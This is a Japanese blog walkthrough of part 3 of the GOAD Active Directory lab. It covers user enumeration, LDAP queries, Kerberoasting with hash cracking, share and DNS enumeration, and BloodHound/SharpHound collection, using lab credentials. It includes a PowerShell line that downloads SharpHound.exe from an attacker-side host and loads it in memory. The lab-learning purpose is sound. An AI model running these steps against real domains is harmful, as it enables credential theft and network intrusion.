banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

アクティブディレクトリのゲーム (GOAD) パート 3 - ユーザーによる列挙

第三部分は、以前に取得した資格情報を利用して、いくつかの情報を引き続き収集できるかどうかを確認するユーザーを列挙します。

vagrant upで休眠中のマシンを起動

image

image

アクティブディレクトリでアカウントを取得したら、最初に行うべきことは常に完全なユーザーリストを取得することです。

ユーザーリストを取得したら、すべてのユーザーに対してパスワードスプレーを行うことができます(通常、他のアカウントが弱いパスワードを使用していることがわかります。たとえば、ユーザー名がそのままパスワード、季節や年の組み合わせ、団体名と年の組み合わせ、さらには 123456 などです)。

part2 では、brandon.starkアカウントのパスワードを取得しました。

python3 GetADUsers.py -all north.sevenkingdoms.local/brandon.stark:iseedeadpeople
Impacket v0.12.0.dev1+20240502.235035.cb8467c3 - Copyright 2023 Fortra

[*] north.sevenkingdoms.localのドメインに関する情報を照会中。
名前                  メール                           パスワード最終設定      最終ログオン           
--------------------  ------------------------------  -------------------  -------------------
Administrator                                         2024-01-17 20:24:06.650023  2024-01-18 00:15:11.751714 
Guest                                                 <never>              <never>             
vagrant                                               2021-05-12 19:38:55.922520  2024-01-18 00:33:15.469101 
krbtgt                                                2024-01-17 20:59:48.450235  <never>             
                                                      2024-07-11 21:23:44.436491  <never>             
arya.stark                                            2024-01-18 00:06:14.609612  2024-05-05 16:39:43.450938 
eddard.stark                                          2024-01-18 00:06:24.165912  2024-07-21 14:07:26.720083 
catelyn.stark                                         2024-01-18 00:06:31.753050  <never>             
robb.stark                                            2024-01-18 00:06:39.977381  2024-07-21 14:08:30.539586 
sansa.stark                                           2024-01-18 00:06:48.632812  <never>             
brandon.stark                                         2024-01-18 00:06:56.360121  2024-07-11 22:59:04.257694 
rickon.stark                                          2024-01-18 00:07:03.163738  <never>             
hodor                                                 2024-01-18 00:07:08.330623  <never>             
jon.snow                                              2024-01-18 00:07:14.009106  <never>             
samwell.tarly                                         2024-01-18 00:07:20.334394  2024-07-11 23:17:33.390596 
jeor.mormont                                          2024-01-18 00:07:26.125439  <never>             
sql_svc                                               2024-01-18 00:07:30.994621  2024-05-05 15:22:57.352040

LDAP クエリ#

LDAP はディレクトリサービスプロトコルであり、ディレクトリに接続、検索、変更するためのメカニズムを提供します。

north.sevenkingdoms.local で ldap クエリを使用

#ldapをインストール
sudo apt install ldap-utils

#ldapクエリ、personカテゴリでuserクラスのすべてのオブジェクトを検索
ldapsearch -H ldap://192.168.56.11 -D "[email protected]" -w iseedeadpeople -b 'DC=north,DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" |grep 'distinguishedName:'

image

LDAP クエリを通じてユーザー情報も取得でき、ドメイン間には信頼関係が存在するため、LDAP を通じて他のドメインのユーザーも照会できます。

image

sevenkingdoms.local

ldapsearch -H ldap://192.168.56.10 -D "[email protected]" -w iseedeadpeople -b 'DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" | grep "distinguishedName"

image

essos.local

essos.local でクエリを実行すると、無効な資格情報というメッセージが表示されます。これは、両者の間に信頼関係がないためです。

image

LDAP クエリの参考:https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/

Kerberoasting#

Active Directory からユーザーのサービスプリンシパル名(Service Principal Names, SPNs)を取得し、対応する Kerberos サービスチケットを要求するプロセスを Kerberoasting と呼びます。

python3 GetUserSPNs.py -request -dc-ip 192.168.56.11 north.sevenkingdoms.local/brandon.stark:iseedeadpeople -outputfile kerberoasting.hashes

image

すべてのハッシュは kerberoasting.hashes ファイルに保存されます。

image

全体の流れ:

1、認証
スクリプトは提供された資格情報(ユーザー名とパスワード)を使用して指定されたドメインコントローラー(192.168.56.11)に接続します。

2、SPNs の列挙
スクリプトは Active Directory を照会し、すべての SPNs を持つユーザーを列挙します。これらの SPNs は通常、Kerberos 認証のためのサービスアカウントに使用されます。

3、サービスチケットの要求
列挙された SPNs に基づいて、スクリプトは対応する Kerberos サービスチケット(TGS)を要求します。これらのチケットには、暗号化されたサービスアカウントのパスワードハッシュが含まれています。

4、チケットの保存
要求された Kerberos サービスチケットのハッシュ値は、指定された出力ファイル(kerberoasting.hashes)に保存されます。

cme を使用して取得することもできます。

crackmapexec ldap 192.168.56.11 -u brandon.stark -p 'iseedeadpeople' -d north.sevenkingdoms.local --kerberoasting KERBEROASTING

image

hashcat を使用してパスワードを解読しようとします。

image

アカウントとパスワードを取得しました:jon.snow

共有ディレクトリの列挙#

crackmapexec smb 192.168.56.10-23 -u jon.snow -p iknownothing -d north.sevenkingdoms.local --shares

192.168.56.22 の共有ディレクトリ

image

dns 列挙#

ツール:https://github.com/dirkjanm/adidnsdump

インストール:

pip3 install git+https://github.com/dirkjanm/adidnsdump#egg=adidnsdump

Bloodhound#

次に、Bloodhound を使用してドメイン内の環境を分析します。攻撃者はターゲット上でcollectorを実行し、ドメインに関する大量の情報を列挙する必要があります。collectorの実行が完了すると、一連の.jsonファイルが出力され、攻撃者の Bloodhound インターフェースにインポートされます。

BloodHound.py データコレクター#

以下の Python スクリプトを使用してデータを収集します。

A Python based ingestor for BloodHound

north.sevenkingdoms.local 上のデータを収集します。

python3 bloodhound.py --zip -c All -d north.sevenkingdoms.local -u brandon.stark -p iseedeadpeople -dc winterfell.north.sevenkingdoms.local -ns 192.168.56.10

image

注:dns を指定する必要があります。指定しないと、以下のエラーが表示されます。BloodHound.py の公式サイトを確認したところ、多くの人がこのエラーに遭遇しています。

image

同様に、他のいくつかのドメインからデータを収集します。

kingslanding.sevenkingdoms.local

python3 bloodhound.py --zip -c All -d sevenkingdoms.local -u [email protected] -p iseedeadpeople -dc kingslanding.sevenkingdoms.local -ns 192.168.56.10

image

meereen.essos.local

python3 bloodhound.py --zip -c All -d essos.local -u [email protected] -p iseedeadpeople -dc meereen.essos.local -ns 192.168.56.10

image

BloodHound を使用して 3 つのドメインの情報を収集しました。

注:ただし、GitHub 上のプロジェクトを観察すると、Python バージョンのデータ収集ツールは機能が強力ですが、.NET バージョンと比較するとまだ不足があります。具体的には、ほとんどの BloodHound(SharpHound)機能をサポートしていますが、すべてではなく、特にグループポリシーオブジェクト(GPO)に基づく収集方法が欠けています。

sharphound.exe データコレクター#

同様に、sharphound.exe の Windows バージョンを使用して再度データを収集します。

プロジェクトアドレス:https://github.com/BloodHoundAD/SharpHound

リモートデスクトップでドメイン内のマシンに接続します。

sudo apt install freerdp2-x11

xfreerdp /u:jon.snow /p:iknownothing /d:north /v:192.168.56.22 /cert-ignore +clipboard /drive:tmp,/tmp

.\sharphound.exe -d north.sevenkingdoms.local -c all --zipfilename bh_north_sevenkingdoms.zip
.\sharphound.exe -d sevenkingdoms.local -c all --zipfilename bh_sevenkingdoms.zip
.\sharphound.exe -d essos.local -c all --zipfilename bh_essos.zip

image

image

image

また、PowerShell を使用してメモリ内で sharpblood を実行することもできます。

$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.56.1/SharpHound.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Sharphound.Program]::Main("-d north.sevenkingdoms.local -c all".Split())

Bloodhound の起動#

Kali で Bloodhound を起動し、bloodhound-python で収集した情報をインポートします。sharphound からエクスポートされた情報は Bloodhound にインポートできない可能性があります。これはバージョンの関係かもしれません。以前、春秋云鏡の靶場で同じ問題に直面し、sharphound が収集した内容をインポートできませんでした。

すべてのドメインとコンピュータを表示

MATCH p = (d:Domain)-[r:Contains*1..]->(n:Computer) RETURN p

image

すべてのユーザーを表示

MATCH p = (d:Domain)-[r:Contains*1..]->(n:User) RETURN p

image

ドメイン / グループ / ユーザーの全体マップを表示

MATCH q=(d:Domain)-[r:Contains*1..]->(n:Group)<-[s:MemberOf]-(u:User) RETURN q

image

ユーザーの ACL を表示

MATCH p=(u:User)-[r1]->(n) WHERE r1.isacl=true and not tolower(u.name) contains 'vagrant' RETURN p

image

参考#

https://mayfly277.github.io/posts/GOADv2-pwning-part3/
https://github.com/BloodHoundAD/SharpHound/releases
https://github.com/dirkjanm/BloodHound.py
https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。